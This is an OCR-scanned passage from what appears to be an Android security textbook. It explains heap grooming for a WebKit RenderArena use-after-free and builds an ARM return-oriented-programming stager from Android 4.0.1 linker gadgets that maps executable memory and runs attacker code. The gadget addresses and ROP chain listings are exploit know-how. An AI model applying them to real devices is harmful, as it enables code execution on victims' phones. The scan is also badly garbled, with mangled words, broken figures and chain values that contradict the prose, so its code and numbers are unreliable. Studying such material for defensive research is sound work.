Controlling the Heap 


Now that a virtual function pointer table from the heap is being dereferenced, 
you must take control of the contents of this heap region to influence code 
execution. Because the virtual function invocation happens right after freeing 
the block and without returning to attacker-controlled code, it is not possible to 
allocate an arbitrary Render Obj ect in its place. Even if the attacker could gain 
intermediate JavaScript execution, he would have to craft another Render Obj ect 
of the size 0x7c. Only the original Render Bl! ock class has this specific size, so 
the attack possibilities are very limited. Redirecting the virtual function table 
pointer while the object is still in a free state appears to be much more promising. 

Recall that the singly linked free list only contains items of the same size. For 
the previously outlined reasons, it is therefore not possible to put other class 
instances into this list. However, notice how the dereferenced offset 0x17¢ inside 
the virtual function pointer table is bigger than the entire object instance size 
of 0x7c. Therefore the actual function pointer lookup will go past the object 
into whatever else might be in, or after, the Render Arena. This opens multiple 
avenues for controlling the virtual function table pointer. 


Using CSS 


The first possibility is to allocate another Render Obj ect such that it is taken 
from new unallocated space following the allocation to be freed instead of an 
existing free spot. By controlling the contents of the new allocation, you can 
control the data at the function pointer offset. Making sure that it is taken from 
new, unallocated space can be achieved by filling existing holes with dummy 
allocations. The resulting heap layout is shown in Figure 8-6 earlier. 
Unfortunately, Render 0bj ect -derived classes are designed to be very lean. 
This makes controlling data within such objects difficult. Most of the 32-bit 
integers in them are CSS values originating from the CSS parser, such as posi- 
tions and margins. Internally, the CSS code uses 4 bits of an integer value to 
store additional flags, such as whether the value represents a percentage. This 
fact results in values being only 28-bit with the high 4 bits cleared. Luckily, 
there are a few exceptions. One of them is the Render Li st! t em, the Render Tree 
equivalent of an! i DOM node. Such list items can have an absolute position 
value specified—for example, when creating a numbered list with special values 
or display offset. This 32-bit value is then copied unmodified to the m_val ue 
and m_explicitValue members of the associated Render List| tem. Padding 
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with another dummy Render Bl ock instance, you can achieve the exact function 
pointer offset you need. 


Examining Matching Class Sizes with gdb 


gdb » p 2 * sizeof(' WebCore:: Render Bl ock' ) 
+ (uint32_t) &((' WebCore::RenderListltem *) 0)->m value 
$1 = Oxl7c 


This way, the full 32 bits of the program counter (pc ) can be controlled. The 
specific heap layout with a padding dummy object is shown in Figure 8-11. 


+0x17¢ 
a next free ' ' ' i. 
irtual =! 1S BI 
ie RenderBlock | RenderBlock II BË 
function Sg: 
table pointer ' TE 
— — 
UaF-RenderBlock RenderListltem 
Figure 8-11: RenderArena with padding and RenderListltem 


The Render Li st It em-based technique is certainly useful for exploiting this 
vulnerability in older versions of Android that lack the XN mitigation. However, 
in this scenario the attacker controls the contents of r3 but not the memory 
pointed to by any register or the memory in its direct vicinity. To circumvent 
XN with ROP, introduced in Chapter 9, the attacker likely needs to control more 
memory for a successful stack pivot. 


Using a Free Block 


Another way of controlling the memory contents of the Render Arena following 
an existing allocation is making sure the memory regions are never allocated 
and stay uninitialized. That way, the virtual function pointer is read from 
uninitialized memory contents. As explained earlier, arenas are allocated from 
the main heap. If an attacker allocates a Render Ar ena-sized block from the main 
heap and sets the contents to the desired values, then frees the block again, the 
next RenderArena allocated will be initialized with attacker controlled values. 
General precautions to preserving a chunk on the dlmalloc heap apply. The 
attacker must be careful that the freed chunk is not coalesced with any border- 
ing chunks and that there are enough such free chunks available, such that 
other allocations do not use those free chunks before the next Render Arena 
is allocated. Taking all these tidbits together, this yields the following recipe: 
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. Create sufficient allocations of aRender Arena size and set their contents to 


the desired values. After each such allocation, also create a small allocation 
serving as guard against coalescing. 


. Free all Render Ar ena-sized allocations but not the guards. The guards will 


now prevent the fake arenas from being coalesced, yet the arenas can be 
used for allocation of a real Render Arena. 


. Create enough Render 0bj ect instances to use up all space of the existing 


arenas and make sure a new arena is allocated from one of the prepared 
blocks. 


. Create aRender Obj ect of the same class type as the use-after-free—affected 


object—Render Bl ock in our case study. Make sure this is the last alloca- 
tion in the Render Arena and is freed just before the use-after-free—affected 
object is freed. 


After using this recipe, the heap should look similar to that shown in 


Figur 


dimalloc 
chunks 


e 8-12. 
Fake Arena (free, controlled contents) 
Guard (allocated) 
Fake Arena 
Guard 

Fake virtual unallocated 
header Render* Render* UaF function i 
‘ controlled 

pointer table 

next free function pointer 
offset 


Figure 8-12: RenderArena and dimalloc state after massaging 


Using an Allocated Block 


In addition to the previously presented approaches, another approach exists. In 
this scenario, the attacker places an allocated dlmalloc chunk containing data of 
their choosing after the Render Arena chunk. This technique is especially useful 
because an allocated block is less likely to be modified in the time that elapses 
between heap sculpting and trigger the use-after-free issue. Similar to the freed 
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block approach, the virtual function table pointer would point near the end of 
the Render Arena. When the virtual method is invoked, the read offset would 
result in using attacker-controlled data as a function pointer. 

If everything works out, the attacker now controls both the pc register and 
sufficient amounts of memory to perform a stack pivot and start his ROP, bring- 
ing him one step closer to full control. 


Summary 


This chapter covered a range of user-space memory corruption exploitation tech- 
nologies on ARM hardware. Implementation details and exploitation techniques 
relevant to corrupting stack and heap memory were presented. Although the 
scenarios discussed do not cover all possible vulnerability classes or exploitation 
techniques, they provide insight into how to approach developing an exploit. 

Heap-based memory corruption attacks are much more application and 
allocator specific, but are the most common vulnerabilities these days. Use- 
after-free scenarios allow reusing a freed memory block with a new, potentially 
attacker controlled allocation and thereby deliberately create an aliasing bug. 
This condition is explored under Android's native dlmalloc allocator and the 
WebKit-specific Render Arena allocator. Virtual function pointer tables pose a 
way of hijacking native code execution directly from a variety of heap corrup- 
tion issues. 

By taking a close look at several historic, real-world exploits, you saw how 
simplicity often leads to increased reliability and decreased development efforts. 
The GingerBreak exploit showed how to exploit somewhat arbitrary array index- 
ing issues by modifying the GOT. The zergRush exploit is a shining example 
of exploiting stack corruption despite the stack cookies present on Android. 
Mempodroid demonstrated outside-the-box techniques to leverage a kernel 
vulnerability to achieve privilege escalation. 

Lastly, the chapter examined several approaches for exploiting a publicly 
disclosed and patched use-after-free vulnerability in the WebKit rendering 
engine. The necessary steps for writing your own JavaScript to shape the heap 
are explained. This chapter leaves you with enough control to proceed with the 
task of crafting a custom stack pivot and ROP chain in Chapter 9. 


Return Oriented Programming 


This chapter introduces the basics of Return Oriented Programming (ROP) 
and why using it is necessary. The ARM architecture is very different from 
x86 in regards to ROP, and this chapter introduces some new concepts specific 
to ARM. The chapter examines the bionic dynamic linker as a case study of a 
rich and comparatively stable source of code usable for ROP and presents some 
ideas for automation. 


History and Motivation 


ROP is a technique to leverage existing native code in memory as an arbitrary 
payload instead of injecting custom native instruction payloads or shellcode. 
It has been documented in several degrees of abstraction in various aca- 
demic papers, but its roots go back to the return2libc technique first publicly 
documented by Solar Designer in a 1997 post to the Bugtraq mailing list (ht tp: / / 
seclists.org/bugtrag/1997/ Aug/ 63). In that article, Solar demonstrated the 
reuse of existing x86 code fragments in order to bypass a non-executable stack 
protection mechanism. Later, Tim Newsham demonstrated the first chaining 
of more than two calls in his | pset Solaris 7 exploit from May 2000 (http: // 
seclists.org/bugtrag/2000/ May/ 90). 
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There are three main reasons to leverage existing native code in today’s ARM 
environments and therefore use ROP. The primary, and most obvious reason, 
is the XN exploit mitigation as discussed in Chapter 12. The secondary reason 
is due to the separate data and instruction caches on the ARM architecture as 
described later. Lastly, on some ARM-based platforms, the OS’s loader enforces 
“code-signing,” which requires all binaries to be cryptographically signed. On 
platforms such as this, illicit code execution (such as that caused by exploita- 
tion of a vulnerability) requires piecing together bits of native code using ROP. 

The XN exploit mitigation allows the operating system to mark memory pages 
as executable or non-executable, and the processor issues an exception if an 
instruction is attempted to be fetched from non-executable memory. Subsequently 
an attacker cannot simply provide his payload as native code and divert con- 
trol flow there. Instead he must make use of the existing code in the program’s 
address space that is already marked as executable. He can then either decide to 
implement the full payload using existing code or just use existing code as an 
intermediate stage to mark his additionally supplied native code as executable. 


Separate Code and Instruction Cache 


Because the ARM9 architecture has the ARMv5 feature set, the processor has 
two separate caches for instructions and data: 


The ARM9TDMt has a Harvard bus architecture with separate instruction 
and data interfaces. This allows concurrent instruction and data accesses, 
and greatly reduces the CPI of the processor. For optimal performance, 
single cycle memory accesses for both interfaces are required, although 
the core can be wait-stated for non-sequential accesses, or slower memory 
systems. 


A typical implementation of an ARM9TDMI based cached processor has 
Harvard caches, and then a unified memory structure beyond the caches, 
thus giving the data interface access to the instruction memory space. The 
ARM940T is an example of such a system. However, for an SRAM-based 
system this technique cannot be used, and an alternative method must 

be employed. 


ARM Limited, ARM9TDMI™ Technical Reference Manual, Chapter 3.1: “About 
the memory interface,’ 1998,http://infocenter.arm.com/hel p/ 
index.|sp?topic=/com.arm. doc. ddi0091la/ CACFBCBE. ht ml 


As a consequence, any chunk of native instructions written to memory is not 
directly executable, even in the absence of XN. The instructions being written 
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as data are first written to the data cache and only later flushed to the backing 
main memory. This is depicted in Figure 9-1. 
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Figure 9-1: Data and instruction caches 


When the control flow is diverted to the address of the just-written instruc- 
tions, the instruction decoding engine attempts to fetch an instruction from 
the specified address and first queries the instruction cache. Now three things 
can happen: 


m The address in question is already in the instruction cache and the main 
memory is not touched. The original instructions, despite being overwrit- 
ten, are executed instead of the attacker’s payload. 


m A cache miss occurs, and the instructions are fetched from main memory; 
however, the data cache has not been flushed yet. The fetched instructions 
are the data in the respective memory location before the attacker’s write 
and again the payload is not executed. 


m Both the data cache has been flushed and the instruction cache does not 
contain the address yet. The instructions are fetched from main memory, 
which contains the actual attacker’s payload. 


As the attacker typically is not writing to addresses that contained code before, 
it is unlikely that the address is in the instruction cache already. However, the 
payload is still not fetched correctly when the data cache has not been flushed. 
In such a scenario one can either leverage existing, legitimate code (which might 
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even be in the instruction cache already) or simply write a lot of data to memory 
to flush the data cache. When performing surgical exploitation it is simply not 
possible to write much data after the payload has been written; reusing existing 
code is a necessity. 


Separate data and instruction caches can become a very tedious issue to 
identify when switching from a debugger setup to unattended execution in exploit 
development. When hitting breakpoints or switching to the debugger process for 
other reasons, the data caches are typically flushed. Also the debugger sees only the 
data in main memory and not what is actually in the instruction cache. As soon as the 
target is run without a debugger attached, the process crashes in what seems to be 
the attacker’s payload. Keep this one in mind as a source of weird crashes! 


The ARM processors have special instructions for flushing the caches. These 
instructions modify the CP15 system control coprocessor’s registers. Unfortunately, 
these instructions access privileged registers and are therefore not usable by 
user-mode code. The “PLT” instruction can also be used to hint that the instruc- 
tion cache should be reloaded, but this is not guaranteed. 

Operating systems provide mechanisms for clearing the instruction cache via 
system calls. On Linux, this is done via invoking a system call also accessible 
as the cachef | ush function. Usually, there is no way to invoke such functions 
before gaining arbitrary code execution. However, the Linux kernel also flushes 
the cache when an mpr ot ect system call is issued. The effects of separate caches 
can therefore be disregarded when creating a ROP chain that marks data as 
executable code and subsequently transfers execution there. 


Basics of ROP on ARM 


Because the targeted application typically does not contain the attacker’s pay- 
load as one code chunk to which the control flow can simply be diverted to, the 
attacker needs to piece together chunks of original code that together implement 
their payload. The challenge is maintaining control over the program counter 
after execution of one such code chunk. 

The original ret2libc technique chains one or more calls into libc procedures 
on the x86 architecture. In that architecture, the return address is stored on the 
stack. This address indicates where a routine will pass execution to when it 
returns. By manipulating the stack contents, the attacker can provide the address 
of a libc procedure to call instead of a legitimate return address. 

ROP is a generalization of this methodology. Not only does it use full pro- 
cedures but also smaller code chunks called Gadgets. To maintain control over 
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the program counter, these gadgets typically end in the very instruction that is 
also used to return from legitimate procedures. The attacker can then choose 
a series of gadgets that when sequentially executed implement their payload. 
Figure 9-2 shows how such chaining of gadgets looks on the x86 architecture. 

With further generalization of this technique, you can use any gadget ending 
in an indirect branch. For example, indirect branches, or branches that read the 
branch target from a register, are usable. The methodology is similar to that of ROP 
except that the respective register has to be loaded with the following gadget’s 
address beforehand. Because the methodology there is very dependent on the 
actually available gadgets, this chapter does not cover this topic in more depth. 


Gadgets Stack 


mov rax, rbx | ' : 1 


ret 
> Address | 
YO 


mov rsi, rcx | 1 i 


ret 
D H Address Il: 


call [rax] i i 
ret i 


[oS dress uh 


Figure 9-2: x86 ROP Gadget stack chaining 


ARM Subroutine Calls 


In accordance with the ARM ABI (Application Binary Interface, the standard that 
defines how compiled software should be structured on ARM) a subroutine’s 
return address is not generally stored on the stack. Instead, it is held in the link 
register | r , which serves this specific purpose. Functions are invoked with the 
bl orbi x instructions that load the address of the following instruction into the 
| r register and then branch to the specified function. The called function then 
typically returns using the bx |r instruction. Because the program counter on 
ARM is treated like any other register that can be read from and written to, it 
is also possible to just copy the value of the | r into the pc register. Therefore, 
mov pc, Ir can be a valid function tail, too. 
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However the ARM processor also supports two major execution modes: ARM 
and Thumb (including the Thumb2 extension). Switching between modes is 
accomplished using a technique called Interworking. For example, the bx |r 
instruction examines the low bit of the Ir and switches to Thumb mode if it is set 
or ARM mode if it is not set. Underneath, this low bit gets masked off and stored 
in the fifth bit of the Current Program Status Register (CPSR). This bit, called 
the T-bit, determines which execution mode the processor is in. Analogously, 
the bl and bl x instructions set the low bit in the Ir when the calling function is 
in Thumb mode. Therefore, it is only possible to use the mov pc Jr instruction 
when both the calling and called functions use the ARM instruction encoding. 
Because there is no performance difference between the mov pce, Irandbx Ir 
instructions, any modern compiler only emits bx Ir instructions to return from 
procedures when configured to build code for ARMv6, as shown in Figure 9-3. 
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Figure 9-3: Interworking procedure return 


Upon reading this, exploit developers may immediately wonder how exploita- 
tion of even simple stack overflows can be accomplished, because the traditional 
technique on x86 involves overwriting the caller’s return address stored on the 
stack. Using a single register for storing the return address into the calling pro- 
cedure works fine for leaf procedures but is insufficient when a routine wants 
to call other subroutines by itself again. To accommodate this, ARM compilers 
generate code that saves the Ir on the stack on routine entry and restores it from 
the stack before executing the bx Ir to return to its calling routine, as shown in 
the following code. 


ARM Instructions Calling a Subroutine 


stmia sp!, {r4, Ir} # Store link register and callee-saved r4 on stack 
bl subroutine # Call subroutine, trashing link register 


ldmia sp!, {r4, Ir} # Load original link register and r4 from stack 
bx Ir # Return to calling code 
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The Thumb instruction encoding features special push and pop instructions 
that implicitly work on the sp register (the stack pointer) instead of referencing 
it explicitly. As a special extension to that, a pop instruction referencing the pc 
register handles the written value in the same way as the bx Ir instruction, 
thus enabling Interworking with a single instruction, as in the following code. 


Thumb Instructions Calling a Subroutine 


push {Ir} # Store link register on stack 
bl subroutine # Call subroutine, trashing link register 


pop {pc} # Load original link register and return to calling code 


The Thumb pop {pc} instruction is very much like the x86 ret instruction 
in that it retrieves a value from the stack and continues execution there. The 
notable difference is that the pop instruction can serve as a whole epilogue, also 
restoring other registers with a single instruction. However, a Thumb leaf routine 
can still endinabx lr instruction, when the Ir still contains the proper value. 


Combining Gadgets into a Chain 


Recall that your goal is to use existing code sequences for forming your payload. 
If the attacker is able to control the stack, any sequence of instructions ending 
in either bx Jrorpop {.., pc} lets the attacker maintain control over the pro- 
gram counter and can be used as a gadget. Thanks to Interworking, ARM and 
Thumb gadgets can even be arbitrarily mixed. The only exception here is that 
the rare gadgets ending in ARM mov pc, lr can only be followed by another 
ARM gadget, because they do not support Interworking. 

Combining gadgets that restore the Ir from the stack using an | dmia sp! , 
{..., In beforebx Irorsimplypop {..., pc} is straightforward. Because they 
load /r from the stack and then continue execution there, the address of the next 
gadget can be simply supplied on the stack. In addition to gadget addresses, 
register values potentially restored by function epilogues must be supplied, 
even if they serve no functional purpose in the ROP payload. This is because 
the stack pointer otherwise does not line up with the next intended gadget. If 
the next gadget uses Thumb instructions, additionally the low bit must be set 
so the processor correctly switches to Thumb mode. This is even true when the 
processor is in Thumb mode already, as it would assume the calling function 
was in ARM—and therefore transition to ARM mode—if the low bit was not set. 

For purposes of demonstration, assume that in Figure 9-4 you have just per- 
formed a stack overflow that allowed you to write whatever you want onto the 
stack (including nulls) and that you are about to execute apop {pc} instruction. 
In the presence of non-executable stack, you exploit the vulnerability by calling 
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mprotect to re-protect the stack as executable, and execute your native code in 
place. In that case, your payload written onto the stack may look something 
like Figure 9-4. 


Gadget Stack 


sic 
pop {r0-r4, pc} ' r0 


p Peto... 


22? 


Figure 9-4: Simple POP-ROP chain 


Gadgets from leaf procedures—-ending inbx Ir without restoring lr first-— 
require special handling of the /r value prior to executing that gadget. Typically, 
the value contained in /r is the address of the gadget following the last ARM 
gadget that restored the value of Ir explicitly (because the ARM gadget restored 
lr from the stack and set it to the address of the next gadget). When a whole 
procedure that invokes subprocedures was used, lr points to after the last sub- 
procedure call in that procedure, resulting in even more unexpected behavior. 
When another gadget ending inbx Ir would be executed, it would actually jump 
right after that very sub-procedure call instead of the next gadget intended to 
be executed. If Ir still points to a previously used gadget that has no destruc- 
tive side effects, it is often easiest to account for the execution of that previously 
used gadget by providing the required restored values on the stack. However if 
Ir points anywhere into a bigger procedure or the gadget cannot be executed a 
second time, the value of Ir itself must be adjusted. This can be done generically 
by combining an ARM gadget that explicitly restores Ir with a Thumb gadget 
that endsinapop {pc} instruction, as shown in Figure 9-5. 

The ARM gadget loads the address of the next gadget into /r and branches 
there; the following Thumb gadget also simply branches to the next gadget. But 
as a side effect, Ir now points to a Thumb gadget that allows seamless continua- 
tion, and any gadget ending in only bx Ir canbe safely executed. Now it is pos- 
sible to use any instruction sequence ending in a procedure return as a gadget. 
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Register Gadget Stack 


ova 


pop {r0, Ir} i r0 =??? 


bx Ir 
Ir < iir = b0002ab0 | 
b0002ab0 


pc = 7??? 


pop {pc} 


22? ' i 


Figure 9-5: Set Ir to pop {pc} chain 


Identifying Potential Gadgets 


Because the ARM processor requires aligned instructions, it is generally only 
possible to use intentionally generated code—or more specifically compiler 
generated routine epilogues—as gadgets. This differs from the x86 architecture’s 
unaligned Complex Instruction Set Computing (CISC) instruction set. Because 
the return instruction is only one byte on x86, it is often possible to jump into 
parts of bigger instructions that coincidentally contain a byte resembling the 
return instruction. This vastly increases the amount of available gadgets on x86. 

Identifying a list of potential gadgets is very easy on Reduced Instruction Set 
Computing (RISC) architectures like ARM. With its always-aligned instructions, 
one can simply scan a binary image for instructions that perform a function 
return, such aspop {..., pc}. Examining the previous instructions in an assem- 
bler dead listing already shows the potential gadgets. Therefore finding gadgets 
can be as easy as creating an ARM and a Thumb dead listing for a given binary 
and parsing the output with regular expressions. A script using this technique 
was used to create the ROP chain presented in this chapter. 

A trick similar to jumping into parts of bigger instructions on x86 also exists 
on ARM: Because it is possible to freely switch between ARM and Thumb modes, 
it is also possible to misinterpret any existing ARM code as Thumb code and 
vice versa. Although this typically does not provide useful gadgets longer than 
one or two instructions, interpreting the upper two bytes of an ARM instruction 
can often provide surprisingly usefulpop {..., pc} Thumb instructions. These 
instructions often restore registers that are typically not restored in common 
routine epilogues, such as the caller-saved registers r0 to r3 or the stack pointer 
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itself. A breakdown of both the Thumb and ARM view of such an example is 
provided in Figure 9-6. 


Idclt 0, cr6, [pc, # -100] 


A 
S 
“It” condition | “Idc” instruction flags | f | “pe” 
i 
x 
P e 
d 
1011 110 (1) 000 | 1 |1111 
ARM 
Thumb Oxbf Oxf 0x60 0x19 
1011 110 | 1 000 | 11111 
Thumb “pop” {pc} not {r5-r7} | {rO—r4} 
instruction 
W J) 
yY 
pop {r0-r4, pc} 


Figure 9-6: Breakdown of misinterpreted pop 


Also, special code dealing with exception unwinding and early process ini- 
tialization can contain immensely useful gadgets. Those have been specifically 
implemented in the assembler to deal with low-level architecture components. 
They occur, for example, in the C library and dynamic linker, as used in the 
next section. 


Case Study: Android 4.0.1 Linker 


Because most processes running on Android are forked from the Zygote base 
process, they often share a lot of libraries. However, some native processes are 
not forked from Zygote and might have an entirely different process layout. One 
example is the Radio Interface Layer Daemon (ri | d) as discussed in Chapter 
11. But even those processes are all dynamically linked and therefore all have 
one common code mapping in their address spaces: the Dynamic Linker. This 
is the part of code that recursively resolves the dynamic library dependencies 
in a process’s base binary and loads all the dependencies. It then resolves all 
the symbols imported from other libraries and adjusts addresses accordingly. 
It also takes care of applying relocations for binaries that have been moved to 
another address than the expected base address, for example, due to Address 
Space Layout Randomization (ASLR). 
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On Android 4.0 and earlier, the Bionic dynamic linker is mapped at a static 
address, 0xb0001000. Due to this fact, no information leak was required to craft 
your ROP payload. As of Android 4.1, Jelly Bean, the dynamic linker’s base address 
is randomized like any other binary’s base address, as discussed in Chapter 12. 

Besides being present in all processes and having a fixed base address on 
old Android versions, the dynamic linker is also a comparatively stable binary. 
That is, the binary representation does not vary as much as other libraries. The 
contents of most libraries contained in Android processes fluctuate between 
different phones or even specific firmware images (ROMs) of the same Android 
version. The dynamic linker in turn has been very constant. Likely due to the 
sensitivity and criticality of this component, it is almost always left untouched 
and compiled with the prebuilt compilers coming with the Android source 
distribution. Note that the dynamic linker contains a copy of the Bionic me mc p y 
implementation at a low offset. Because me mc py is heavily optimized for the tar- 
get architecture, its varying instruction streams result in slight offset variations 
for different processor feature sets. As a consequence, any linker ROP chains’ 
gadget addresses are specific to a certain processor feature set. 

For those reasons, the dynamic linker is the perfect goal for crafting a some- 
what generic ROP chain that can be potentially reused on as many targets as 
possible. As a case study, this chapter examines an ROP chain for the Android 
4.0.1 dynamic linker, as found on the Galaxy Nexus. This case study is intended 
to continue the WebKit exploit introduced in Chapter 8. 

Because Android has no signature enforcement on executable code mappings, 
the ROP chain simply allocates one page (4,096 bytes) of executable memory, cop- 
ies an attacker-provided native code there, and jumps to it. This allows plugging 
in an arbitrary user-mode payload into an exploit by supplying different code. 


Pivoting the Stack Pointer 


Usually the first step in launching an ROP payload is getting the stack pointer 
to point at attacker-supplied data, such as the heap, which is also called Pivoting. 
When exploiting stack-based buffer overflows, the stack pointer is usually close 
to the ROP payload, and pivoting can be easy. When the attacker-supplied data 
resides on the heap, pivoting the stack can be one of the most challenging tasks 
involved in creating a functional ROP chain. 

Going back to the example from Chapter 8, we assume we have gained control 
of the program counter via hijacking a virtual function pointer ina Render Obj ect 
class and cleverly faking the corresponding vtable. Even for other scenarios, 
such as a generic use-after-free on the main heap, it is often necessary to pivot 
the stack pointer onto the heap. Depending on the bug being exploited, there 
might be better-suited techniques instead of the generic approach presented 
here. One example is the presence of a heap pointer on the stack due to a local 
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variable. This pointer can then be used by a frame pointer to stack pointer 
restoring epilogue to pivot into the heap. 

There is one particularly interesting gadget in the linker that allows setting 
all registers to absolute, user-defined values. This master gadget is so powerful 
that it has been previously independently chosen by at least one other exploit 
writer for a private exploit. It is part of unused exception unwinding code, and 
its Android 4.0.1 incarnation looks like the following: 


. text: B0002868 EXPORT __dl_restore_core_regs 
. text: B0002868 

. text: B0002868 ADD R1, RO, #0x34 
. text: B000286C LDMI A R1, {R3-R5} 
.text:B0002870 STMFD SP!, {R3-R5} 
.text:B0002874 LDMI A RO, {R0-R11} 
.text:B0002878 LDMFD SP, {SP- PC} 
.text:B0002878 ; End of function __dl_restore_core regs 


The power of this function lies in the multiple entry points one can choose 
to turn it into a gadget: 


m Starting from the end by using 0xb0002878 as gadget start address, the 


stack pointer is loaded from the current stack, together with Ir and the 
new program counter. This is a useful gadget when the topmost local 
variable in the stack frame points to user-controlled data, but that is a 
highly bug-specific scenario. 

When jumping to 0xb 0002870, the register contents of r3, r4, and r5 are 
stored on the top of the stack frame before sp, Ir, and pc are restored from 
there. This is useful when r3 points to user-controlled data and r5 to some 
valid code (for example, a function pointer from the bug environment). 


Alleviating the previous rather strong requirements, one can jump to 
0xb000286c and load the future contents of sp, Ir, and pc by dereferencing 
the memory at r1. This allows either abusing an existing memory object 
with pointers to user-controlled data at the first double word or when the 
contents pointed to by r1 are fully user controlled and the value to set the 
stack pointer to can be determined reliably. This is an especially interest- 
ing gadget. The compiler often generates code to load the vtable pointer 
into r1 when calling a vtable function that does not have any parameters. 
Because in this scenario you need to fake a vtable for pc control, you can 
likely also control the first double word of it, and thereby sp, using this 
pivot gadget. 

Lastly, when using the entire function as pivot gadget by jumping to 
0xb0002868, sp can be set by dereferencing r0 with an offset of 0x34. 
Although this offset at first seems random, it is actually quite handy for 
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real-world cases. For all hijacked vtable calls, r0 will be the “this” pointer. 
This very often allows controlling data at offset 0x34 by manipulating 
member variables of the class in question. 


If the pivots provided by the master gadget do not fit a particular use case, 
there are even more options thanks to the call-sites of this function: 


text: B0002348 ADD RO, SP, #0x24C 

text: B000234C BL __dl_restore core regs 
text: B00023D0 ADD RO, R4, #4 

text: B00023D4 BL __dl_restore core regs 
text: B00024F0 ADD RO, R5, #4 

text: B00024F4 BL __dl_restore core regs 


Using these additional addresses, you can also load sp dereferencing from 
r4 + 0x38,7r5 + 0x38, and from further down the current stack. 

By pivoting the stack pointer to point into entirely user-controlled data, you 
can now proceed to craft a ROP chain of sufficient length to allocate executable 
memory, copy the payload there, and transfer control flow to the native code. 


Executing Arbitrary Code from a New Mapping 


Now that you control the stack pointer and consequently also the contents of 
the stack, you can provide list of gadget addresses to be sequentially executed. 
Because your overall choice of gadgets from the linker is limited and construct- 
ing a new target-specific ROP chain for each payload is cumbersome, you fol- 
low the common approach of creating a generic chain that allocates executable 
memory and executes any native code there. Such a chain is commonly referred 
to as an ROP stager. 

The first goal is to allocate executable memory to work with. This is how you 
execute arbitrary code despite the XN protection. Pages are allocated with the 
mmap system call on Linux. Fortunately, the linker contains a full copy of the 
Bionic mmap implementation. This copy resides at 0xb0001678 in the example 
linker. The mmap function expects six arguments. Per the Android Embedded 
Application Binary Interface (EABI), the first four arguments are passed in r0 
through r3 and the last two are pushed onto the stack. Therefore you need a 
separate gadget initializing r0 to r3 to your desired values. One such gadget is 
the following: 


text: B00038CA POP {RO-R4, PC} 
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The mmap function and this gadget can then be combined to call mmap with 
arbitrary parameters. This allows allocating executable memory, to which your 
native code can be copied and then executed. 

However, note that the entire mmap function is invoked, and itin turn returns 
to the contents of lr! It is therefore imperative to set Ir to a gadget that advances 
the stack pointer over the two stack arguments and then loads pc from the stack. 
Advancing the stack pointer by eight bytes can be accomplished using a pop of 
two registers; therefore this Thumb gadget can be used: 


.text:B0006544 POP {R4, R5, PC} 


When using the pivot gadget introduced earlier, /r can be set to 0xb0006545 
as part of the pivot already. Otherwise a gadget setting Ir from the stack must 
be inserted at the beginning of the ROP chain. 

Although mmap usually chooses the address to allocate memory at for you, there 
are special flags that allow allocating at a fixed address. This makes developing 
an ROP chain easier; as a result, mmap, which normally holds the address, can 
be discarded. Instead, the statically chosen address can be hard-coded in other 
places of the ROP chain. More details about the mmap arguments are available 
from its man page. The static address chosen here is 0xb1008000, which is a 
fair bit after the linker in a typically unused address range. This results in the 
following first part of the ROP chain: 


0xb00038ca # pop {r0-r4, pc} 

0xb0018000 # r0: static allocation target address 
0x00001000 # rl: size to allocate = one page 

0x00000007 # r2: protection = read, write execute 
0x00000032 # r3: flags = MAP_ANON | MAP_PRIVATE | MAP_ FIXED 
Oxdeadbeef # r4: don't care 

0xb0001678 # pc: __dl_ mmap, returning to Ir = 0xb006545 

Oxf ff ft ttt # fifth parameter on stack: fd = -1 

0x00000000 # sixth parameter on stack: offset = 0 
OxdeadcOde # next gadget's address 


After executing mmap , Ir points into mmap itself because it invokes a subroutine 
and thereby sets Ir to the address following that subroutine invocation. This is 
important if later gadgets return to Ir like mmap did. 

At this point, the memory to execute the native code has been allocated but 
currently contains just zeroes. The next step is to copy the payload into that 
memory allocation and transfer the control there. Copying the memory can be 
achieved with the linker’s internal copy of me mc py . However, even if a pointer to 
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the native code was available in a register at the control flow hijack, that register 
is very well clobbered now. It is usually possible to save the pointer value and 
retrieve it later, but not always. In this case study, you instead abuse a specific 
property of adjacent WebKit strings. 

The data structure used to represent strings in WebKit contains, among 
other elements, a pointer to the actual string data. Figure 9-7 depicts a concrete 
example of this data structure. By splitting the ROP chain across the boundary 
of two strings, it is possible to take advantage of the data pointer. The first part 
of the ROP chain can pop enough data off of the stack (currently pointing into 
the first string) to load the data pointer into a register and continue the ROP 
chain from the second string’s contents. Figure 9-7 shows how the string header 
memory overlaps what will be loaded into registers: 


coos pc 0xb0005915 pop {r0-r6, pc} 
I 
i r0 0 
: Heap Header 
: r1 0x3023 
I 
Z i r2 0x88 m_refCount N 
Di 
Si r3 0x1802 m_length 
g r4 | 0x910674 | m_data8 \ Stringimp| 
i 5 r5 0 union 
R= 
i 2 r6 0 m_hashAndFlags | 
7 oes > pc Oxdeadbeef 


Figure 9-7: Pop over string header 


For your purposes, it will be useful to have the string pointer in r4. This is 
equivalent to ending the first string in the address of a pop gadget that first 
pops the heap header and string size and reference count into r0 to r3, and then 
the actual pointer into r4. If a higher register is desired, padding at the end of 
the first string can be introduced. There are two more header elements to be 
skipped, so the optimal gadget (again, a Thumb gadget) is the following: 


.text:B0005914 POP {RO-R6, PC} 
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Also the other parameters for mmap need to be surgically set up. First, you 
set up 70, the destination of the copy. There is a gadget that also fixes up Ir at 
the same time: 


.text:B000131C LDMFD SP!, {RO, LR} 
. text: B0001320 BX LR 


Because no stack parameters need to be cleaned up in the following gadgets, 
Ir can simply be pointed to a gadget that just fetches the next pc from the stack. 
Next, r2 must be loaded with the length to copy. Also, r3 needs to point to 
some writable memory later. You reuse your static allocation for this location. 
Accordingly the next gadget is: 


.text:B0001918 LDMFD SP!, {R2, R3} 
text: B000191C BX LR 


Note that the bx Iris equivalent toapop {pc} now. With r3 pointing to valid 
memory, the following Thumb gadget for moves r4—which still holds the pointer 
to the second string’s contents—into 11: 


_ text: B0006260 MOV R1, R4 
.text:B0006262 B loc _B0006268 
.text:B0006268 STR R1, [R3] 
.text:B000626A B locret_B0006274 
. text: B0006274 POP {R4-R7, PC} 


The resulting second part of the ROP chain looks like the following: 
0xb0005915 # pop over heap and string headers, pointer goes into r4 


ļ second string starts here 


0xb000131c # pop {r0, Ir}; bx Ir 

0xb0018000 # r0: copy destination = allocation address 
0xb0002ab0 # Ir: address of pop {pc} 

0xb0001918 # pop {r2, r3, pc} 

0x00001000 # r2: copy length = one page 

0xb0018000 # r3: scratch memory = allocation address 
0xb0006261 #rl <- r4 ([r3] <- r4, pop {r4-r7}) 
Oxdeadbeef # r4: don't care 


Oxdeadbeef # r5: don’t care 
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Oxdeadbeef # r6: don’t care 
Oxdeadbeef # r7: don't care 
